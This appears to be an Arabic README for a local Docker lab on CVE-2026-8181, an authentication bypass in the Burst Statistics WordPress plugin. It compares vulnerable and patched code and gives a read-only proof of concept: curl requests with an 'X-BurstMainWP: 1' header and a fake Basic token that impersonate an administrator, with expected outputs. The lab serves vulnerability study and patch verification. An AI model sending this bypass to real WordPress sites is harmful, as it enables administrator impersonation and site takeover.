معمل Docker يوضح تجاوز المصادقة CVE-2026-8181 في إضافة Burst Statistics لووردبريس. يقارن بين الإصدار الضعيف والإصدار المٌصحح مع PoC بأقل ضرر لتوضيح المصادقة غير الصحيحة في طلبات REST API.
مختبر Docker محلي مخصص لـ CVE-2026-8181، وهو تجاوز للمصادقة في إضافة WordPress Burst Statistics – Privacy-Friendly WordPress Analytics.
يقارن هذا المختبر إصدار الإضافة الضعيف بالإصدار المُصحح، ويستخدم PoC بأقل ضرر لإثبات الفرق دون إنشاء مستخدمين أو رفع ملفات أو تعديل حالة WordPress.
الإضافة المتأثرة: Burst Statistics – Privacy-Friendly WordPress Analytics
الإصدارات المتأثرة: 3.4.0 إلى 3.4.1.1
الإصدار المُصحح: 3.4.2
نوع الثغرة: تجاوز المصادقة / مصادقة غير صحيحة
التأثير: يمكن لمهاجم غير مُصادَق انتحال صفة مدير الموقع طوال مدة طلب REST API إذا كان يعرف اسم مستخدم مدير صحيح.
في هذا المختبر:
vuln يشغل Burst Statistics 3.4.1.1patched يشغل Burst Statistics 3.4.2X-BurstMainWP: 1| الخدمة | الوصف | الرابط |
|---|---|---|
vuln | WordPress + Burst Statistics 3.4.1.1 | http://127.0.0.1:8081 |
patched | WordPress + Burst Statistics 3.4.2 | http://127.0.0.1:8082 |
db_vuln | MySQL لـ WordPress الضعيف | داخلي فقط |
db_patched | MySQL لـ WordPress المُصحح | داخلي فقط |
seed | حاوية WP-CLI إعداد لمرة واحدة | داخلي فقط |
تقوم خدمة seed بتثبيت WordPress وإنشاء مدير المختبر وتفعيل Burst Statistics في كلا البيئتين.
اسم مستخدم مدير المختبر:
labadmin
يستخدم PoC عمدًا كلمة مرور خاطئة لإثبات التجاوز.
تتضمن Burst Statistics مسار مصادقة وكيل مرتبط بـ MainWP. عندما يتضمن طلب REST API هذا الهيدر:
X-BurstMainWP: 1
تقوم Burst بتفويض المصادقة إلى MainWP_Proxy::is_mainwp_authenticated().
في الإصدار الضعيف، تقرأ الدالة بيانات اعتماد Basic Authentication التي يتحكم بها المهاجم، وتستخرج اسم المستخدم وكلمة المرور، وتمررهما إلى نواة WordPress:
$is_valid = wp_authenticate_application_password( null, $username, $password );
الخلل هو التحقق من القيمة المعادة.
3.4.1.1مبسط من includes/Frontend/class-mainwp-proxy.php:
$is_valid = wp_authenticate_application_password( null, $username, $password );
if ( is_wp_error( $is_valid ) ) {
return false;
}
$user = get_user_by( 'login', $username );
if ( ! $user || ! user_can( $user, 'manage_burst_statistics' ) ) {
return false;
}
wp_set_current_user( $user->ID );
return true;
الكود الضعيف يرفض فقط WP_Error. ومع ذلك، قد ترجع wp_authenticate_application_password() قيمة null أو قيمة غير مستخدم أخرى عندما لا تنجح المصادقة فعلًا. وبما أن null ليس WP_Error، فإن التحقق يمر.
بعد ذلك، يبحث الإضافة عن اسم المستخدم المقدم ويستدعي:
wp_set_current_user( $user->ID );
هذا يجعل WordPress يعامل طلب REST API الحالي كأنه ذلك المستخدم. إذا كان اسم المستخدم تابعًا لمدير، فإن فحوصات صلاحيات WordPress ترى مديرًا لبقية الطلب.
يقوم الإصدار المُصحح بإصلاح التحقق من المصادقة عن طريق اشتراط وجود كائن مستخدم حقيقي مُصادق عليه قبل المتابعة.
3.4.2من الناحية المفاهيمية، الإصلاح هو:
$authenticated_user = wp_authenticate_application_password( null, $parts[0], $parts[1] );
remove_filter( 'application_password_is_api_request', $allow_application_password_request, 999 );
if ( ! $authenticated_user instanceof \WP_User ) {
return false;
}
التغيير المهم هو أن قيمة الإرجاع "غير الخطأ" لم تعد كافية. يجب أن تكون نتيجة المصادقة كائن \WP_User فعليًا.
هذا يمنع المسار الضعيف حيث يتجاوز null التحقق القديم is_wp_error().
يوضح المختبر إثباتًا للقراءة فقط باستخدام:
/wp/v2/users/me?context=edit
هذه النقطة النهائية كافية لإظهار ما إذا كان WordPress يعتبر الطلب مُصادقًا عليه أم لا.
يمكن أن يكون التأثير في العالم الحقيقي أعلى من هذا الإثبات المختبري. إذا تمكن المهاجم من انتحال صفة مدير لطلب REST API، فقد يتمكن من الوصول إلى نقاط نهاية WordPress ذات الصلاحيات. في تكوينات WordPress الشائعة، يمكن أن يؤدي الوصول كمدير إلى استيلاء كامل على الموقع من خلال إنشاء حسابات، كلمات مرور تطبيقات، تثبيت إضافات، تعديل شكل الموقع، أو إجراءات إدارية أخرى.
يتجنب هذا المستودع عمدًا تلك المسارات التدميرية.
docker compose up -d --build
انتظر حتى تنتهي خدمة الإعداد لمرة واحدة:
docker compose logs seed
المخرجات المتوقعة من seed:
[+] vuln: Burst Statistics version = 3.4.1.1
[+] patched: Burst Statistics version = 3.4.2
[+] Seed complete
تثبيت تبعية Python:
python3 -m venv .venv
source .venv/bin/activate
pip install requests
تشغيل PoC ضد الخدمة الضعيفة:
python poc/poc.py --base-url http://127.0.0.1:8081 --admin-user labadmin
النتيجة المتوقعة للخدمة الضعيفة:
=== baseline without bypass headers ===
status: 401
=== with X-BurstMainWP + fake Basic password ===
status: 200
roles: ["administrator"]
[+] LIKELY VULNERABLE: request was treated as an authenticated user/admin context.
تشغيل نفس PoC ضد الخدمة المُصححة:
python poc/poc.py --base-url http://127.0.0.1:8082 --admin-user labadmin
النتيجة المتوقعة للخدمة المُصححة:
=== baseline without bypass headers ===
status: 401
=== with X-BurstMainWP + fake Basic password ===
status: 401
[+] LIKELY PATCHED/NOT VULNERABLE: bypass headers did not authenticate the request.
توليد رمز Basic Authentication وهمي:
TOKEN=$(printf 'labadmin:not-the-real-password' | base64)
طلب أساسي بدون هيدرات التجاوز:
curl -sS -i \
'http://127.0.0.1:8081/?rest_route=/wp/v2/users/me&context=edit'
متوقع:
HTTP/1.1 401 Unauthorized
rest_not_logged_in
محاولة التجاوز:
curl -sS -i \
-H 'X-BurstMainWP: 1' \
-H "Authorization: Basic $TOKEN" \
'http://127.0.0.1:8081/?rest_route=/wp/v2/users/me&context=edit'
متوقع:
HTTP/1.1 200 OK
"slug":"labadmin"
"roles":["administrator"]
تشغيل نفس محاولة التجاوز ضد الخدمة المُصححة:
curl -sS -i \
-H 'X-BurstMainWP: 1' \
-H "Authorization: Basic $TOKEN" \
'http://127.0.0.1:8082/?rest_route=/wp/v2/users/me&context=edit'
متوقع:
HTTP/1.1 401 Unauthorized
rest_not_logged_in
تظهر الخدمة الضعيفة تغيير السلوك بوضوح:
GET /?rest_route=/wp/v2/users/me&context=edit 401
GET /?rest_route=/wp/v2/users/me&context=edit 200
الخدمة المُصححة ترفض كلا الطلبين (غير المُصادق ومحاولة التجاوز):
GET /?rest_route=/wp/v2/users/me&context=edit 401
GET /?rest_route=/wp/v2/users/me&context=edit 401
هذا PoC بأقل ضرر عمدًا:
استخدم هذا المختبر فقط على بيئة Docker المحلية الخاصة بك.